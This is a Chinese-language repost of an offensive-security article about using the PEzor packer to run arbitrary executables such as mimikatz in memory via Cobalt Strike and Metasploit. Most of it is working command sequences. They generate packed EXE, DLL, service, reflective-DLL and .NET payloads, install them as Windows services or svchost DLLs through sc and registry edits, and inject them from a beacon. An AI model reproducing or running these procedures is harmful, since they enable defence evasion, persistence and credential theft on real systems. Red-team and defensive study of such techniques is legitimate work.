Cobalt Strike无落地文件执行任意程序

admin 2022年3月7日23:39:13评论509 views字数 3931阅读13分6秒阅读模式

from:https://iwantmore.pizza/posts/PEzor2.html

Cobalt Strike的execute-assembly可以使我们无文件即可运行.NET程序集。但是,如果我们能够同样轻松的执行任意可执行文件,那会不会很好呢?

PEzor v2新的输出形式与Cobalt Strike集成。

execute-assembly使攻击者无落地文件运行.NET程序集深深影响了最近的攻势进展。我们来看看如何使用PEzor实现在内存中执行任意可执行文件这一目标。

Cobalt Strike无落地文件执行任意程序

Cobalt Strike支持两种内存中执行的能力,详见

https://www.cobaltstrike.com/aggressor-script/functions.html#bdllspawn

https://www.cobaltstrike.com/aggressor-script/functions.html#bexecute_assembly

新的输出格式

当前PEzor支持以下新的输出格式,并具有任意可执行文件或原始shellcode:

exe:这是PEzor v1支持的唯一格式,它是本机二进制文件

dll:PEzor现在可以将现有可执行文件转换为DLL对应文件,无需从源代码重新编译

service-exe:它可以生成本机二进制文件的Service EXE版本,该版本导出需要的功能以作为系统服务运行

service-dll:它可以生成本机二进制文件的Service DLL版本,该版本导出要在dllhost进程内部运行的必需函数

(请参阅:https://blog.didierstevens.com/2019/10/29/quickpost-running-a-service-dll/)

Reflection-dll:它可以生成本机二进制文件的反射DLL版本,可以由大多数框架(例如Metasploit的reflective_dll_inject模块)在内存中加载和执行

dotnet:它可以产生与本机等效的.NET二进制文件,可以由大多数框架(例如Metasploit的execute_dotnet_assembly模块)在内存中加载和执行

例子

让我们看看如何生成和执行新格式。

可执行程序

#生成

$ PEzor -format=exe mimikatz.exe -z 2 -p '"token::whoami" "exit"'

#执行

C:> .mimikatz.exe.packed.exe

dll文件

#生成

$ PEzor -format=dll mimikatz.exe -z 2 -p '"token::whoami" "exit"'

#执行

C:> rundll32 .mimikatz.exe.packed.dll,DllMain

服务程序

#生成

$ PEzor -format=service-exe mimikatz.exe -z2 -p '"log C:/Users/Public/mimi.out" "coffee" "exit"'

#执行

C:UsersPublic>sc create mimiservice binpath= C:UsersPublicmimikatz.exe.packed.service.exe

[SC] CreateService SUCCESS

C:UsersPublic> sc start mimiservice

SERVICE_NAME       : mimiservice

        TYPE               : 20  WIN32_OWN_PROCESS

        STATE              : 4  RUNNING

                                (STOPPABLE,NOT_PAUSABLE, ACCEPTS_SHUTDOWN)

        WIN32_EXIT_CODE    : 0 (0x0)

        SERVICE_EXIT_CODE  : 0 (0x0)

        CHECKPOINT         : 0x0

        WAIT_HINT          : 0x0

        PID                : 913

        FLAGS              : 0x0

服务DLL

#生成

$ PEzor -format=service-dll mimikatz.exe -z 2 -p '"log C:/Users/Public/mimi.out" "coffee""exit"'

#执行

C:UsersPublic>copy /y mimikatz.packed.exe.service.dll %SystemRoot%System32SvcHostDemo.dll

       1 file(s) copied.

C:UsersPublic> sc create SvcHostDemo binpath= ^%SystemRoot^%"System32svchost -k mygroup" type= share start= demand

[SC] CreateService SUCCESS

C:UsersPublic> reg add "HKLMSYSTEMCurrentControlSetservicesSvcHostDemoParameters /v ServiceDll /t REG_EXPAND_SZ /d ^%SystemRoot^%System32SvcHostDemo.dll /f

The operation completed successfully.

C:UsersPublic> reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionSvcHost" /v mygroup /t REG_MULTI_SZ /d SvcHostDemo /f

The operation completed successfully.

C:UsersPublic> sc start SvcHostDemo

SERVICE_NAME       : SvcHostDemo

       TYPE               : 30  WIN32

       STATE              : 2  START_PENDING

                                (NOT_STOPPABLE,NOT_PAUSABLE, IGNORES_SHUTDOWN)

       WIN32_EXIT_CODE    : 0  (0x0)

       SERVICE_EXIT_CODE  : 0  (0x0)

       CHECKPOINT         : 0x0

       WAIT_HINT          : 0x7d0

       PID                : 1823

       FLAGS              : 0x0

反射DLL

#生成

$ PEzor -format=reflective-dll mimikatz.exe-z 2 -p '"log mimi.out" "coffee" "exit"'

#执行

msf5 > use post/windows/manage/reflective_dll_injectmsf5 post(windows/manage/reflective_dll_inject) > set PATH mimikatz.exe.packed.reflective.dllmsf5 post(windows/manage/reflective_dll_inject) > set WAIT 10msf5 post(windows/manage/reflective_dll_inject) > run

Cobalt Strike无落地文件执行任意程序

dotnet

#生成

$ PEzor -format=dotnet mimikatz.exe -z 2 -p '"log mimi.out" "coffee" "exit"'

#执行

msf5 > use post/windows/manage/execute_dotnet_assemblymsf5 post(windows/manage/execute_dotnet_assembly) > set DOTNET_EXE mimikatz.exe.packed.dotnet.exemsf5 post(windows/manage/execute_dotnet_assembly) > set WAIT 10msf5 post(windows/manage/execute_dotnet_assembly) > run

Cobalt Strike无落地文件执行任意程序

Cobalt Strike的cna脚本

现在我们知道如何生成不同的形式并手动执行它们,但是如何在Cobalt Strike中集成此新工具呢?

https://github.com/phra/PEzor/blob/master/aggressor/PEzor.cna

该脚本提供了与execute-assembly相同的命令行选项,该脚本将在后台启动PEzor自动将提供的可执行文件转换为所需的格式(reflective-dll或dotnet),并指定beacon以注入反射型的DLL或在内存中执行生成的.NET程序集。

#转换并执行reflective DLL

beacon> execute-inmemory -format=reflective-dll mimikatz.exe -z 2 -p '"coffee" "exit"'

#转换并执行 .NET assembly

beacon> execute-inmemory -format=dotnet mimikatz.exe -z 2 -p '"coffee" "exit"'

Cobalt Strike无落地文件执行任意程序


本文始发于微信公众号(关注安全技术):Cobalt Strike无落地文件执行任意程序

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月7日23:39:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Cobalt Strike无落地文件执行任意程序http://cn-sec.com/archives/500830.html

发表评论

匿名网友 填写信息